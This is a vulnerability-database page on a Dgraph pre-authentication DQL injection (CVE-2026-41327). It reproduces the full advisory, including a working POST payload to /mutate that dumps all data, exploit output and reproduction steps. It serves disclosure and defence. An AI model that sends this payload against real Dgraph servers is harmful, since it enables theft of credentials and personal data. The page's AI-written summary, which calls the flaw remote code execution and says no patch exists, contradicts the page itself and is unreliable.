Skip to main content

Docker CVE-2026-41327

| EUVDEUVD-2026-25594 CRITICAL
Improper Neutralization of Special Elements in Data Query Logic (CWE-943)
2026-04-24 https://github.com/dgraph-io/dgraph GHSA-mrxx-39g5-ph77
9.1
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Query language parameterization
Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 24, 2026

Remote unauthenticated attackers can exfiltrate all data from Dgraph databases via DQL injection in the /mutate endpoint's cond parameter. Default configurations with ACL disabled allow single HTTP POST requests to bypass authentication and execute arbitrary read queries, returning complete database contents including credentials, PII, and secrets. The vulnerability exploits unsanitized string concatenation in buildUpsertQuery() where user-supplied cond values are written directly into DQL queries without escaping or validation. Proof-of-concept demonstrates extraction of AWS credentials, GCP service account keys, and user secrets in a single request. No public exploitation confirmed at time of analysis, but POC code publicly available via GitHub advisory. EPSS data not available; CVSS 9.1 indicates critical severity with network vector and no authentication required.

Affected VersionsENISA

dgraph < 25.3.3

Affected Packages

go github.com/dgraph-io/dgraph no fix
go github.com/dgraph-io/dgraph/v24 no fix
go github.com/dgraph-io/dgraph/v25 fix: 25.3.3
go github.com/hypermodeinc/dgraph/v24 fix: 24.1.8
euvd dgraph fix: 25.3.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Patch released
Apr 28, 2026 - 18:31 nvd
Patch available
Patch available
Apr 24, 2026 - 20:17 EUVD
CVE Published
Apr 24, 2026 - 15:41 nvd
CRITICAL 9.1

DescriptionGitHub Advisory

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.

There are no credentials involved. When ACL is disabled (the default), the /mutate endpoint requires no authentication. The authorizeQuery and authorizeMutation functions both return nil immediately when AclSecretKey is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.

POC clip:

https://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MetricValueRationale
Attack VectorNetworkHTTP POST to port 8080
Attack ComplexityLowSingle request, no special conditions beyond default config
Privileges RequiredNoneNo authentication when ACL is disabled (default)
User InteractionNoneFully automated
ScopeUnchangedStays within the Dgraph data layer
ConfidentialityHighFull database exfiltration: all nodes, all predicates, all values
IntegrityHighThe injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic
AvailabilityNoneNo denial of service

3. Vulnerability Summary

FieldValue
TitlePre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations
TypeInjection
CWECWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS9.8

4. Target Information

FieldValue
ProjectDgraph
Repositoryhttps://github.com/dgraph-io/dgraph
Tested versionv25.3.0
HTTP handlerdgraph/cmd/alpha/http.go line 345 (mutationHandler)
Cond extractiondgraph/cmd/alpha/http.go line 413 (strconv.Unquote)
Cond passthroughedgraph/server.go line 2011 (ParseMutationObject, copies mu.Cond verbatim)
Injection sinkedgraph/server.go line 750 (upsertQB.WriteString(cond))
Only transformationedgraph/server.go line 730 (strings.Replace(gmu.Cond, "@if", "@filter", 1))
Auth bypass (query)edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate)edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltrationdgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port8080 (default)
PrerequisiteNone. Default configuration. ACL disabled is the default.

5. Test Environment

ComponentVersion / Details
Host OSmacOS (darwin 25.3.0)
Dgraphv25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose1 Zero + 1 Alpha, default config, --security whitelist=0.0.0.0/0
Python3.x with requests
Networklocalhost (127.0.0.1)

6. Vulnerability Detail

Location: edgraph/server.go lines 714-757 (buildUpsertQuery) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON bodies containing a mutations array. Each mutation can include a cond field, intended for conditional upserts with syntax like @if(eq(name, "Alice")). This condition is supposed to be spliced into the DQL query as a @filter clause on a dummy var(func: uid(0)) block.

The handler at http.go:413 extracts the cond value via strconv.Unquote, which interprets \n as actual newlines but performs no sanitization:

go
mu.Cond, err = strconv.Unquote(string(condText.bs))

ParseMutationObject at server.go:2011 copies it verbatim:

go
res := &dql.Mutation{Cond: mu.Cond}

buildUpsertQuery at server.go:730 applies one cosmetic replacement then concatenates the raw string directly into the DQL query:

go
cond := strings.Replace(gmu.Cond, "@if", "@filter", 1)
// ...
x.Check2(upsertQB.WriteString(cond))

There is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.

An attacker crafts a cond value that closes the @filter(...) clause and opens an entirely new named query block:

@if(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }

After buildUpsertQuery processes this, the resulting DQL is:

dql
{
  q(func: uid(0x1)) { uid }
  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }
}

The DQL parser (dql.ParseWithNeedVars) accepts multiple query blocks within a single {} container. It parses leak(...) as a legitimate named query. The validateResult function at parser.go:740 only checks for duplicate aliases and explicitly skips var queries. The injected query uses a unique alias, so validation passes.

All three queries execute. The results of the injected leak block are serialized to JSON and returned to the attacker at http.go:498:

go
mp["queries"] = json.RawMessage(resp.Json)

The @if condition evaluates to false ("nonexistent" matches nothing), so the set mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker sends one HTTP request:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "query": "{ q(func: uid(0x1)) { uid } }",
  "mutations": [{
    "set": [{"uid": "0x1", "dgraph.type": "Dummy"}],
    "cond": "@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"
  }]
}

No X-Dgraph-AccessToken header. No X-Dgraph-AuthToken header. The /mutate endpoint has no authentication wrapper in default configuration.

Step 2. mutationHandler at http.go:345 calls readRequest to get the body, then extractMutation which calls strconv.Unquote on the cond field. The \n becomes a real newline. The result is stored in api.Mutation.Cond.

Step 3. The request enters edgraph.Server.QueryNoGrpc at http.go:471, which calls doQuery -> parseRequest -> ParseMutationObject. The Cond is copied verbatim to dql.Mutation.Cond at server.go:2011.

Step 4. buildUpsertQuery at server.go:714 processes the condition. The only transformation is strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730. The full string, including the injected leak(...) block, is written into the query builder at line 750.

Step 5. dql.ParseWithNeedVars parses the constructed DQL string. It encounters three query blocks: q, the upsert check var, and the injected leak. All three are accepted as valid DQL.

Step 6. authorizeQuery at access.go:958 returns nil immediately because AclSecretKey == nil (ACL not configured). No predicate-level authorization is performed.

Step 7. processQuery executes all three query blocks. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 8. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates, including secrets, credentials, and PII.

8. Proof of Concept

Files

FilePurpose
report.mdThis vulnerability report
poc.pyExploit: sends the injection and prints leaked data
docker-compose.ymlSpins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthDQL.mp4Screen recording of the full attack from start to exfiltration

POC files zip: LEAD_001_DQL.zip

poc.py

The exploit sends a single POST to /mutate?commitNow=true with the crafted cond field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.

Tested Output

$ python3 poc.py
[*] Sending crafted upsert mutation with DQL injection in cond field …
[*] HTTP 200
[+] SUCCESS - Injected query returned 5 node(s):

  [User] uid=0x1
    name: Alice Admin
    email: alice@corp.com
    secret: SSN-123-45-6789
    role: admin

  [User] uid=0x2
    name: Bob User
    email: bob@corp.com
    secret: SSN-987-65-4321
    role: user

  [User] uid=0x3
    name: Eve Secret
    email: eve@corp.com
    secret: API_KEY_sk-live-abc123xyz
    role: superadmin

  [CloudCredential] uid=0x4
    name: prod-aws-credentials
    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

  [CloudCredential] uid=0x5
    name: gcp-bigquery-service-account
    GCP_SERVICE_ACCOUNT_KEY: {"type":"service_account","project_id":"prod-analytics","private_key":"-----BEGI…

[+] CRITICAL - Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection
    → 1 AWS credential(s) - attacker can access AWS account
    → 1 GCP service account key(s) - attacker can access GCP project

9. Steps to Reproduce

Prerequisites

  • Python 3 with requests (pip install requests)
  • Docker and Docker Compose

Step 1: Start Dgraph

bash
cd report
docker compose -f docker-compose-test.yml up -d

Wait for health:

bash
curl http://localhost:8080/health

Step 2: Seed test data

bash
curl -s -X POST http://localhost:8080/alter -d '
name: string @index(exact) .
email: string @index(exact) .
secret: string .
role: string .
aws_access_key_id: string .
aws_secret_access_key: string .
gcp_service_account_key: string .
'

curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"User","name":"Alice Admin","email":"alice@corp.com","secret":"SSN-123-45-6789","role":"admin"},
    {"dgraph.type":"User","name":"Bob User","email":"bob@corp.com","secret":"SSN-987-65-4321","role":"user"},
    {"dgraph.type":"User","name":"Eve Secret","email":"eve@corp.com","secret":"API_KEY_sk-live-abc123xyz","role":"superadmin"},
    {"dgraph.type":"CloudCredential","name":"prod-aws-credentials","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"},
    {"dgraph.type":"CloudCredential","name":"gcp-bigquery-service-account","gcp_service_account_key":"{\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nEXAMPLEKEY\\n-----END RSA PRIVATE KEY-----\",\"client_email\":\"bigquery@prod-analytics.iam.gserviceaccount.com\"}"}
  ]}'

Step 3: Run the exploit

bash
cd LEAD_001_DQL
python3 poc.py

What to verify

  1. HTTP POST returns 200 (endpoint is reachable without auth)
  2. Response contains data.queries.leak with an array of nodes
  3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)
  4. No data was modified in the database (the @if condition prevents the set from executing)

10. Mitigations and Patch

Location: edgraph/server.go, buildUpsertQuery (line 714)

Instead of concatenating the raw cond string into the DQL query, buildUpsertQuery should parse the cond value with the DQL lexer and construct the @filter as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.

Executive ViewAI

Why It Matters

CVE-2026-41327 is a critical remote code execution vulnerability affecting Dgraph databases that allows unauthenticated attackers to extract all database contents-including credentials, PII, and secrets-through a single HTTP request to the /mutate endpoint. Organizations running Dgraph with default configurations are immediately at risk of total data compromise without any authentication barriers. This represents an emergency-priority threat requiring immediate isolation of affected systems and comprehensive data breach assessment.

Recommended Action

Within 24 hours: Identify all Dgraph instances in your environment and immediately disable or restrict network access to /mutate endpoints; enable ACL controls if available and change all database credentials and secrets exposed. Within 7 days: Audit all Dgraph access logs for exploitation patterns; conduct forensic analysis to determine if data exfiltration occurred; notify relevant stakeholders of potential PII/credential compromise. Within 30 days: Migrate to alternative database solutions or await vendor patch (monitor Dgraph security advisories daily); implement network segmentation and WAF rules blocking /mutate POST requests from untrusted sources; rotate all credentials that may have been stored in affected databases.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable ACL-disabled Dgraph instances immediately or air-gap from network; (2) Implement network-level access controls restricting /mutate endpoint to authorized internal IPs only; (3) Deploy WAF or reverse proxy with input validation blocking DQL injection patterns in cond parameter; (4) Enable comprehensive audit logging on all Dgraph instances; (5) Assume total data compromise and initiate credential rotation for all secrets stored in affected databases.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

NoSQL injection exploits databases that don't use traditional SQL syntax-like MongoDB, CouchDB, or Redis-by manipulating queries through unsanitized user input.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy